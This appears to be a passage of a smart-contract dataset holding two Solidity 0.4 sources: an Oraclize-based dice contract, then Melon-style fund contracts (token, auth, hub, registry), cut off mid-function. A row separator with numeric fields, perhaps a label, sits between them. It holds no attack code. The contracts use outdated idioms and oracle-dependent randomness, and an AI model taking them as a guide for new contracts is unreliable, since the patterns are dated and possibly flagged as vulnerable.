OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int)
{
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
contract SmartDice is usingOraclize {
string public lastRoll;
string public lastPrice;
address owner;
event diceRolled(uint value);
function SmartDice() payable {
rollDice();
owner = msg.sender;
}
function __callback(bytes32 myid, string result) {
if (msg.sender != oraclize_cbAddress()) throw;
lastRoll = result;
diceRolled(parseInt(lastRoll));
}
function rollDice() payable returns (bool) {
uint oraclizePrice = oraclize_getPrice("WolframAlpha");
if (msg.value < oraclizePrice) {
return false;
}
lastPrice = uint2str(oraclizePrice);
oraclize_query("WolframAlpha", "random number between 1 and 6");
return true;
}
function withdraw(uint amount) returns (bool) {
if (msg.sender != owner) {
return false;
}
if (amount > this.balance) {
return false;
}
if (!msg.sender.send(amount)) {
return false;
}
return true;
}
} | 1 | 2,588 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
interface ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20WithFields is ERC20 {
string public symbol;
string public name;
uint8 public decimals;
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Approval(_from, msg.sender, allowed[_from][msg.sender]);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
emit Approval(_account, msg.sender, allowed[_account][msg.sender]);
_burn(_account, _amount);
}
}
contract PreminedToken is StandardToken {
string public symbol;
string public name;
uint8 public decimals;
constructor(string _symbol, uint8 _decimals, string _name) public {
symbol = _symbol;
decimals = _decimals;
name = _name;
totalSupply_ = 1000000 * 10**uint(decimals);
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
}
contract BurnableToken is PreminedToken {
constructor(string _symbol, uint8 _decimals, string _name)
public
PreminedToken(_symbol, _decimals, _name)
{}
function burn(uint _amount) public {
_burn(msg.sender, _amount);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
interface PriceSourceInterface {
event PriceUpdate(address[] token, uint[] price);
function getQuoteAsset() external view returns (address);
function getLastUpdate() external view returns (uint);
function hasValidPrice(address) public view returns (bool);
function hasValidPrices(address[]) public view returns (bool);
function getPrice(address _asset) public view returns (uint price, uint timestamp);
function getPrices(address[] _assets) public view returns (uint[] prices, uint[] timestamps);
function getPriceInfo(address _asset) view returns (uint price, uint decimals);
function getInvertedPriceInfo(address ofAsset) view returns (uint price, uint decimals);
function getReferencePriceInfo(address _base, address _quote) public view returns (uint referencePrice, uint decimal);
function getOrderPriceInfo(address sellAsset, address buyAsset, uint sellQuantity, uint buyQuantity) public view returns (uint orderPrice);
function existsPriceOnAssetPair(address sellAsset, address buyAsset) public view returns (bool isExistent);
function convertQuantity(
uint fromAssetQuantity,
address fromAsset,
address toAsset
) public view returns (uint);
}
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSGuardEvents {
event LogPermit(
bytes32 indexed src,
bytes32 indexed dst,
bytes32 indexed sig
);
event LogForbid(
bytes32 indexed src,
bytes32 indexed dst,
bytes32 indexed sig
);
}
contract DSGuard is DSAuth, DSAuthority, DSGuardEvents {
bytes32 constant public ANY = bytes32(uint(-1));
mapping (bytes32 => mapping (bytes32 => mapping (bytes32 => bool))) acl;
function canCall(
address src_, address dst_, bytes4 sig
) public view returns (bool) {
bytes32 src = bytes32(bytes20(src_));
bytes32 dst = bytes32(bytes20(dst_));
return acl[src][dst][sig]
|| acl[src][dst][ANY]
|| acl[src][ANY][sig]
|| acl[src][ANY][ANY]
|| acl[ANY][dst][sig]
|| acl[ANY][dst][ANY]
|| acl[ANY][ANY][sig]
|| acl[ANY][ANY][ANY];
}
function permit(bytes32 src, bytes32 dst, bytes32 sig) public auth {
acl[src][dst][sig] = true;
emit LogPermit(src, dst, sig);
}
function forbid(bytes32 src, bytes32 dst, bytes32 sig) public auth {
acl[src][dst][sig] = false;
emit LogForbid(src, dst, sig);
}
function permit(address src, address dst, bytes32 sig) public {
permit(bytes32(bytes20(src)), bytes32(bytes20(dst)), sig);
}
function forbid(address src, address dst, bytes32 sig) public {
forbid(bytes32(bytes20(src)), bytes32(bytes20(dst)), sig);
}
}
contract DSGuardFactory {
mapping (address => bool) public isGuard;
function newGuard() public returns (DSGuard guard) {
guard = new DSGuard();
guard.setOwner(msg.sender);
isGuard[address(guard)] = true;
}
}
contract Spoke is DSAuth {
Hub public hub;
Hub.Routes public routes;
bool public initialized;
modifier onlyInitialized() {
require(initialized, "Component not yet initialized");
_;
}
modifier notShutDown() {
require(!hub.isShutDown(), "Hub is shut down");
_;
}
constructor(address _hub) {
hub = Hub(_hub);
setAuthority(hub);
setOwner(hub);
}
function initialize(address[12] _spokes) external auth {
require(msg.sender == address(hub));
require(!initialized, "Already initialized");
routes = Hub.Routes(
_spokes[0],
_spokes[1],
_spokes[2],
_spokes[3],
_spokes[4],
_spokes[5],
_spokes[6],
_spokes[7],
_spokes[8],
_spokes[9],
_spokes[10],
_spokes[11]
);
initialized = true;
setOwner(address(0));
}
function engine() public view returns (address) { return routes.engine; }
function mlnToken() public view returns (address) { return routes.mlnToken; }
function priceSource() public view returns (address) { return routes.priceSource; }
function version() public view returns (address) { return routes.version; }
function registry() public view returns (address) { return routes.registry; }
}
contract Hub is DSGuard {
event FundShutDown();
struct Routes {
address accounting;
address feeManager;
address participation;
address policyManager;
address shares;
address trading;
address vault;
address priceSource;
address registry;
address version;
address engine;
address mlnToken;
}
Routes public routes;
address public manager;
address public creator;
string public name;
bool public isShutDown;
bool public spokesSet;
bool public routingSet;
bool public permissionsSet;
uint public creationTime;
mapping (address => bool) public isSpoke;
constructor(address _manager, string _name) {
creator = msg.sender;
manager = _manager;
name = _name;
creationTime = block.timestamp;
}
modifier onlyCreator() {
require(msg.sender == creator, "Only creator can do this");
_;
}
function shutDownFund() external {
require(msg.sender == routes.version);
isShutDown = true;
emit FundShutDown();
}
function setSpokes(address[12] _spokes) external onlyCreator {
require(!spokesSet, "Spokes already set");
for (uint i = 0; i < _spokes.length; i++) {
isSpoke[_spokes[i]] = true;
}
routes.accounting = _spokes[0];
routes.feeManager = _spokes[1];
routes.participation = _spokes[2];
routes.policyManager = _spokes[3];
routes.shares = _spokes[4];
routes.trading = _spokes[5];
routes.vault = _spokes[6];
routes.priceSource = _spokes[7];
routes.registry = _spokes[8];
routes.version = _spokes[9];
routes.engine = _spokes[10];
routes.mlnToken = _spokes[11];
spokesSet = true;
}
function setRouting() external onlyCreator {
require(spokesSet, "Spokes must be set");
require(!routingSet, "Routing already set");
address[12] memory spokes = [
routes.accounting, routes.feeManager, routes.participation,
routes.policyManager, routes.shares, routes.trading,
routes.vault, routes.priceSource, routes.registry,
routes.version, routes.engine, routes.mlnToken
];
Spoke(routes.accounting).initialize(spokes);
Spoke(routes.feeManager).initialize(spokes);
Spoke(routes.participation).initialize(spokes);
Spoke(routes.policyManager).initialize(spokes);
Spoke(routes.shares).initialize(spokes);
Spoke(routes.trading).initialize(spokes);
Spoke(routes.vault).initialize(spokes);
routingSet = true;
}
function setPermissions() external onlyCreator {
require(spokesSet, "Spokes must be set");
require(routingSet, "Routing must be set");
require(!permissionsSet, "Permissioning already set");
permit(routes.participation, routes.vault, bytes4(keccak256('withdraw(address,uint256)')));
permit(routes.trading, routes.vault, bytes4(keccak256('withdraw(address,uint256)')));
permit(routes.participation, routes.shares, bytes4(keccak256('createFor(address,uint256)')));
permit(routes.participation, routes.shares, bytes4(keccak256('destroyFor(address,uint256)')));
permit(routes.feeManager, routes.shares, bytes4(keccak256('createFor(address,uint256)')));
permit(routes.participation, routes.accounting, bytes4(keccak256('addAssetToOwnedAssets(address)')));
permit(routes.trading, routes.accounting, bytes4(keccak256('addAssetToOwnedAssets(address)')));
permit(routes.trading, routes.accounting, bytes4(keccak256('removeFromOwnedAssets(address)')));
permit(routes.accounting, routes.feeManager, bytes4(keccak256('rewardAllFees()')));
permit(manager, routes.policyManager, bytes4(keccak256('register(bytes4,address)')));
permit(manager, routes.policyManager, bytes4(keccak256('batchRegister(bytes4[],address[])')));
permit(manager, routes.participation, bytes4(keccak256('enableInvestment(address[])')));
permit(manager, routes.participation, bytes4(keccak256('disableInvestment(address[])')));
permissionsSet = true;
}
function vault() external view returns (address) { return routes.vault; }
function accounting() external view returns (address) { return routes.accounting; }
function priceSource() external view returns (address) { return routes.priceSource; }
function participation() external view returns (address) { return routes.participation; }
function trading() external view returns (address) { return routes.trading; }
function shares() external view returns (address) { return routes.shares; }
function registry() external view returns (address) { return routes.registry; }
function policyManager() external view returns (address) { return routes.policyManager; }
}
contract Registry is DSAuth {
event AssetUpsert (
address indexed asset,
string name,
string symbol,
uint decimals,
string url,
uint reserveMin,
uint[] standards,
bytes4[] sigs
);
event ExchangeAdapterUpsert (
address indexed exchange,
address indexed adapter,
bool takesCustody,
bytes4[] sigs
);
event AssetRemoval (address indexed asset);
event EfxWrapperRegistryChange(address indexed registry);
event EngineChange(address indexed engine);
event ExchangeAdapterRemoval (address indexed exchange);
event IncentiveChange(uint incentiveAmount);
event MGMChange(address indexed MGM);
event MlnTokenChange(address indexed mlnToken);
event NativeAssetChange(address indexed nativeAsset);
event PriceSourceChange(address indexed priceSource);
event VersionRegistration(address indexed version);
struct Asset {
bool exists;
string name;
string symbol;
uint decimals;
string url;
uint reserveMin;
uint[] standards;
bytes4[] sigs;
}
struct Exchange {
bool exists;
address exchangeAddress;
bool takesCustody;
bytes4[] sigs;
}
struct Version {
bool exists;
bytes32 name;
}
uint public constant MAX_REGISTERED_ENTITIES = 20;
uint public constant MAX_FUND_NAME_BYTES = 66;
mapping (address => Asset) public assetInformation;
address[] public registeredAssets;
mapping (address => Exchange) public exchangeInformation;
address[] public registeredExchangeAdapters;
mapping (address => Version) public versionInformation;
address[] public registeredVersions;
mapping (address => bool) public isFeeRegistered;
mapping (address => address) public fundsToVersions;
mapping (bytes32 => bool) public versionNameExists;
mapping (bytes32 => address) public fundNameHashToOwner;
uint public incentive = 10 finney;
address public priceSource;
address public mlnToken;
address public nativeAsset;
address public engine;
address public ethfinexWrapperRegistry;
address public MGM;
modifier onlyVersion() {
require(
versionInformation[msg.sender].exists,
"Only a Version can do this"
);
_;
}
constructor(address _postDeployOwner) {
setOwner(_postDeployOwner);
}
function isValidFundName(string _name) public view returns (bool) {
bytes memory b = bytes(_name);
if (b.length > MAX_FUND_NAME_BYTES) return false;
for (uint i; i < b.length; i++){
bytes1 char = b[i];
if(
!(char >= 0x30 && char <= 0x39) &&
!(char >= 0x41 && char <= 0x5A) &&
!(char >= 0x61 && char <= 0x7A) &&
!(char == 0x20 || char == 0x2D) &&
!(char == 0x2E || char == 0x5F) &&
!(char == 0x2A)
) {
return false;
}
}
return true;
}
function canUseFundName(address _user, string _name) public view returns (bool) {
bytes32 nameHash = keccak256(_name);
return (
isValidFundName(_name) &&
(
fundNameHashToOwner[nameHash] == address(0) ||
fundNameHashToOwner[nameHash] == _user
)
);
}
function reserveFundName(address _owner, string _name)
external
onlyVersion
{
require(canUseFundName(_owner, _name), "Fund name cannot be used");
fundNameHashToOwner[keccak256(_name)] = _owner;
}
function registerFund(address _fund, address _owner, string _name)
external
onlyVersion
{
require(canUseFundName(_owner, _name), "Fund name cannot be used");
fundsToVersions[_fund] = msg.sender;
}
function registerAsset(
address _asset,
string _name,
string _symbol,
string _url,
uint _reserveMin,
uint[] _standards,
bytes4[] _sigs
) external auth {
require(registeredAssets.length < MAX_REGISTERED_ENTITIES);
require(!assetInformation[_asset].exists);
assetInformation[_asset].exists = true;
registeredAssets.push(_asset);
updateAsset(
_asset,
_name,
_symbol,
_url,
_reserveMin,
_standards,
_sigs
);
}
function registerExchangeAdapter(
address _exchange,
address _adapter,
bool _takesCustody,
bytes4[] _sigs
) external auth {
require(!exchangeInformation[_adapter].exists, "Adapter already exists");
exchangeInformation[_adapter].exists = true;
require(registeredExchangeAdapters.length < MAX_REGISTERED_ENTITIES, "Exchange limit reached");
registeredExchangeAdapters.push(_adapter);
updateExchangeAdapter(
_exchange,
_adapter,
_takesCustody,
_sigs
);
}
function registerVersion(
address _version,
bytes32 _name
) external auth {
require(!versionInformation[_version].exists, "Version already exists");
require(!versionNameExists[_name], "Version name already exists");
versionInformation[_version].exists = true;
versionNameExists[_name] = true;
versionInformation[_version].name = _name;
registeredVersions.push(_version);
emit VersionRegistration(_version);
}
function setIncentive(uint _weiAmount) external auth {
incentive = _weiAmount;
emit IncentiveChange(_weiAmount);
}
function setPriceSource(address _priceSource) external auth {
priceSource = _priceSource;
emit PriceSourceChange(_priceSource);
}
function setMlnToken(address _mlnToken) external auth {
mlnToken = _mlnToken;
emit MlnTokenChange(_mlnToken);
}
function setNativeAsset(address _nativeAsset) external auth {
nativeAsset = _nativeAsset;
emit NativeAssetChange(_nativeAsset);
}
function setEngine(address _engine) external auth {
engine = _engine;
emit EngineChange(_engine);
}
function setMGM(address _MGM) external auth {
MGM = _MGM;
emit MGMChange(_MGM);
}
function setEthfinexWrapperRegistry(address _registry) external auth {
ethfinexWrapperRegistry = _registry;
emit EfxWrapperRegistryChange(_registry);
}
function updateAsset(
address _asset,
string _name,
string _symbol,
string _url,
uint _reserveMin,
uint[] _standards,
bytes4[] _sigs
) public auth {
require(assetInformation[_asset].exists);
Asset asset = assetInformation[_asset];
asset.name = _name;
asset.symbol = _symbol;
asset.decimals = ERC20WithFields(_asset).decimals();
asset.url = _url;
asset.reserveMin = _reserveMin;
asset.standards = _standards;
asset.sigs = _sigs;
emit AssetUpsert(
_asset,
_name,
_symbol,
asset.decimals,
_url,
_reserveMin,
_standards,
_sigs
);
}
function updateExchangeAdapter(
address _exchange,
address _adapter,
bool _takesCustody,
bytes4[] _sigs
) public auth {
require(exchangeInformation[_adapter].exists, "Exchange with adapter doesn't exist");
Exchange exchange = exchangeInformation[_adapter];
exchange.exchangeAddress = _exchange;
exchange.takesCustody = _takesCustody;
exchange.sigs = _sigs;
emit ExchangeAdapterUpsert(
_exchange,
_adapter,
_takesCustody,
_sigs
);
}
function removeAsset(
address _asset,
uint _assetIndex
) external auth {
require(assetInformation[_asset].exists);
require(registeredAssets[_assetIndex] == _asset);
delete assetInformation[_asset];
delete registeredAssets[_assetIndex];
for (uint i = _assetIndex; i < registeredAssets.length-1; i++) {
registeredAssets[i] = registeredAssets[i+1];
}
registeredAssets.length--;
emit AssetRemoval(_asset);
}
function removeExchangeAdapter(
address _adapter,
uint _adapterIndex
) external auth {
require(exchangeInformation[_adapter].exists, "Exchange with adapter doesn't exist");
require(registeredExchangeAdapters[_adapterIndex] == _adapter, "Incorrect adapter index");
delete exchangeInformation[_adapter];
delete registeredExchangeAdapters[_adapterIndex];
for (uint i = _adapterIndex; i < registeredExchangeAdapters.length-1; i++) {
registeredExchangeAdapters[i] = registeredExchangeAdapters[i+1];
}
registeredExchangeAdapters.length--;
emit ExchangeAdapterRemoval(_adapter);
}
function registerFees(address[] _fees) external auth {
for (uint i; i < _fees.length; i++) {
isFeeRegistered[_fees[i]] = true;
}
}
function deregisterFees(address[] _fees) external auth {
for (uint i; i < _fees.length; i++) {
delete isFeeRegistered[_fees[i]];
}
}
function getName(address _asset) external view returns (string) {
return assetInformation[_asset].name;
}
function getSymbol(address _asset) external view returns (string) {
return assetInformation[_asset].symbol;
}
function getDecimals(address _asset) external view returns (uint) {
return assetInformation[_asset].decimals;
}
function getReserveMin(address _asset) external view returns (uint) {
return assetInformation[_asset].reserveMin;
}
function assetIsRegistered(address _asset) external view returns (bool) {
return assetInformation[_asset].exists;
}
function getRegisteredAssets() external view returns (address[]) {
return registeredAssets;
}
function assetMethodIsAllowed(address _asset, bytes4 _sig)
external
view
returns (bool)
{
bytes4[] memory signatures = assetInformation[_asset].sigs;
for (uint i = 0; i < signatures.length; i++) {
if (signatures[i] == _sig) {
return true;
}
}
return false;
}
function exchangeAdapterIsRegistered(address _adapter) external view returns (bool) {
return exchangeInformation[_adapter].exists;
}
function getRegisteredExchangeAdapters() external view returns (address[]) {
return registeredExchangeAdapters;
}
function getExchangeInformation(address _adapter)
public
view
returns (address, bool)
{
Exchange exchange = exchangeInformation[_adapter];
return (
exchange.exchangeAddress,
exchange.takesCustody
);
}
function exchangeForAdapter(address _adapter) external view returns (address) {
Exchange exchange = exchangeInformation[_adapter];
return exchange.exchangeAddress;
}
function getAdapterFunctionSignatures(address _adapter)
public
view
returns (bytes4[])
{
return exchangeInformation[_adapter].sigs;
}
function adapterMethodIsAllowed(
address _adapter, bytes4 _sig
)
external
view
returns (bool)
{
bytes4[] memory signatures = exchangeInformation[_adapter].sigs;
for (uint i = 0; i < signatures.length; i++) {
if (signatures[i] == _sig) {
return true;
}
}
return false;
}
function getRegisteredVersions() external view returns (address[]) {
return registeredVersions;
}
function isFund(address _who) external view returns (bool) {
if (fundsToVersions[_who] != address(0)) {
return true;
} else {
address hub = Hub(Spoke(_who).hub());
require(
Hub(hub).isSpoke(_who),
"Call from either a spoke or hub"
);
return fundsToVersions[hub] != address(0);
}
}
function isFundFactory(address _who) external view returns (bool) {
return versionInformation[_who].exists;
}
}
contract Engine is DSMath {
event RegistryChange(address registry);
event SetAmguPrice(uint amguPrice);
event AmguPaid(uint amount);
event Thaw(uint amount);
event Burn(uint amount);
uint public constant MLN_DECIMALS = 18;
Registry public registry;
uint public amguPrice;
uint public frozenEther;
uint public liquidEther;
uint public lastThaw;
uint public thawingDelay;
uint public totalEtherConsumed;
uint public totalAmguConsumed;
uint public totalMlnBurned;
constructor(uint _delay, address _registry) {
lastThaw = block.timestamp;
thawingDelay = _delay;
_setRegistry(_registry);
}
modifier onlyMGM() {
require(
msg.sender == registry.MGM(),
"Only MGM can call this"
);
_;
}
modifier onlyMTC() {
require(
msg.sender == registry.owner(),
"Only MTC can call this"
);
_;
}
function _setRegistry(address _registry) internal {
